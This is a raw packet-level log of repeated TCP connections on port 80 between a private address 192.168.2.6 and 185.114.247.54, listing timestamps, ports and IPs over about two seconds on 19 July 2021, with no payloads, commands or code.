Jul 19, 2021 18:36:27.297588110 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.297792912 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.298042059 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.298226118 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.298249006 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.309706926 CEST	49950	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.310708046 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.313419104 CEST	49951	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.389394999 CEST	80	49950	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.389549971 CEST	49950	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.396258116 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.396276951 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.396294117 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.396310091 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.396325111 CEST	80	49951	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.396460056 CEST	49951	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.404614925 CEST	49951	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.407212973 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.409863949 CEST	80	49948	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.412838936 CEST	49948	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.485332012 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.485517025 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.486504078 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.486659050 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.486870050 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.487063885 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.487508059 CEST	80	49951	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.500070095 CEST	80	49951	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.500164032 CEST	49951	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.564793110 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.564831972 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.564944029 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.565058947 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.565068960 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.565258980 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.565273046 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.565335035 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.565382004 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.565434933 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.565584898 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.565653086 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.565762043 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.566090107 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.566113949 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.566179991 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.566199064 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.566426992 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.566720963 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.566791058 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.605089903 CEST	49951	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.606462002 CEST	49953	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.643079042 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643142939 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643233061 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643243074 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.643253088 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643268108 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643354893 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643377066 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.643389940 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.643430948 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.643517017 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.643671989 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.644234896 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.644296885 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.644345999 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.644426107 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.644644976 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.644813061 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.645147085 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.645333052 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.688425064 CEST	80	49951	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.688555002 CEST	49951	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.703717947 CEST	80	49953	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.703879118 CEST	49953	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.705210924 CEST	49953	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.722881079 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.723083019 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.723157883 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.723192930 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.723239899 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.723349094 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.724229097 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.772744894 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.802397966 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.802437067 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.802465916 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.802494049 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.802577972 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.802700043 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.803241968 CEST	80	49953	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.804256916 CEST	80	49953	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.804394007 CEST	49953	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.881059885 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.902204037 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.902244091 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:27.902756929 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.903295040 CEST	49952	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.919857025 CEST	49953	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.920934916 CEST	49955	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:27.981452942 CEST	80	49952	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.018517971 CEST	80	49953	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.018914938 CEST	49953	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.020052910 CEST	80	49955	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.020201921 CEST	49955	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.023587942 CEST	49955	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.106765985 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.123059034 CEST	80	49955	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.134356976 CEST	80	49955	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.134836912 CEST	49955	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.185395956 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.185551882 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.186245918 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.186414003 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.186733007 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.187077045 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.246745110 CEST	49955	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.249656916 CEST	49957	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.267179012 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.267206907 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.267229080 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.267347097 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.268048048 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.268074036 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.268222094 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.268309116 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.268337965 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.268388987 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.268467903 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.332230091 CEST	80	49957	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.332360029 CEST	49957	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.333405018 CEST	49957	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.349961042 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350038052 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350054979 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350092888 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350162983 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.350212097 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.350265980 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350281954 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350300074 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.350414991 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.355767012 CEST	80	49955	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.355935097 CEST	49955	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.412225008 CEST	80	49957	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.412394047 CEST	80	49957	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.413217068 CEST	49957	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.428811073 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.428837061 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.428935051 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.429006100 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.450422049 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.450604916 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.507529974 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.507553101 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.527743101 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.528563023 CEST	49957	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.529056072 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.531083107 CEST	49958	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.606403112 CEST	80	49956	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.606628895 CEST	49956	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.607295036 CEST	80	49957	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.608635902 CEST	49957	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.620574951 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.627341032 CEST	80	49958	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.627445936 CEST	49958	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.628246069 CEST	49958	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.703633070 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.704158068 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.705049992 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.705064058 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.705455065 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.705734968 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.725833893 CEST	80	49958	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.725867033 CEST	80	49958	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.725996971 CEST	49958	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.784411907 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.784544945 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.784564018 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.784751892 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.784787893 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.785048008 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.794234991 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794260979 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794275999 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794290066 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794307947 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794323921 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794337988 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794356108 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794368029 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.794456959 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.794538975 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.794658899 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.842812061 CEST	49958	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.844166994 CEST	49960	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.864108086 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.864135981 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.864268064 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.872817039 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.872936964 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.873374939 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873390913 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873397112 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873406887 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873414993 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873420954 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873471975 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.873481989 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873498917 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.873517990 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.873600006 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.873609066 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.873836040 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.937344074 CEST	80	49958	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.937450886 CEST	49958	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.942198992 CEST	80	49960	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.942336082 CEST	49960	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.942874908 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.944314957 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.949794054 CEST	49960	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.951873064 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.951935053 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:28.952054024 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:28.952482939 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.031888962 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.031919003 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.031970024 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.031990051 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032005072 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.032011032 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032021046 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.032082081 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032088995 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.032157898 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032284975 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.032404900 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032438993 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.032512903 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032568932 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.032670021 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.032696009 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.050784111 CEST	80	49960	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.050817013 CEST	80	49960	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.051000118 CEST	49960	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.114051104 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.114078045 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.114094019 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.114109039 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.114692926 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.114717960 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.114733934 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.127003908 CEST	49960	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.127585888 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.128329039 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.170172930 CEST	49962	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.206064939 CEST	80	49959	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.206288099 CEST	49959	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.224273920 CEST	80	49960	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.225745916 CEST	49960	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.225924015 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.226927996 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.227154970 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.227420092 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.227760077 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.227979898 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.249684095 CEST	80	49962	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.249771118 CEST	49962	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.250160933 CEST	49962	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.323746920 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.323774099 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.323786974 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.323802948 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.323867083 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.323965073 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.324004889 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.324121952 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.324202061 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.324336052 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.324407101 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.324501038 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.324568033 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.324773073 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.324843884 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.325033903 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.325113058 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.325179100 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.325253010 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.325342894 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.325409889 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.325603962 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.325671911 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.328969002 CEST	80	49962	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.329003096 CEST	80	49962	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.329097033 CEST	49962	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.422629118 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.422800064 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.422822952 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.422872066 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.422909975 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.422920942 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.422981024 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.423141956 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.423969030 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.424017906 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.424092054 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.424190998 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.424381018 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.424482107 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.424870014 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.424962997 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.425347090 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.425446033 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.467241049 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.467315912 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.518838882 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.518929005 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.519016981 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.519054890 CEST	49961	80	192.168.2.6	185.114.247.54
Jul 19, 2021 18:36:29.519045115 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.519079924 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.519198895 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.519946098 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520123005 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520148039 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520188093 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520319939 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520333052 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520580053 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520591974 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520598888 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520611048 CEST	80	49961	185.114.247.54	192.168.2.6
Jul 19, 2021 18:36:29.520750046 CEST	80	49961	185.114.247.54	192.168.2.6
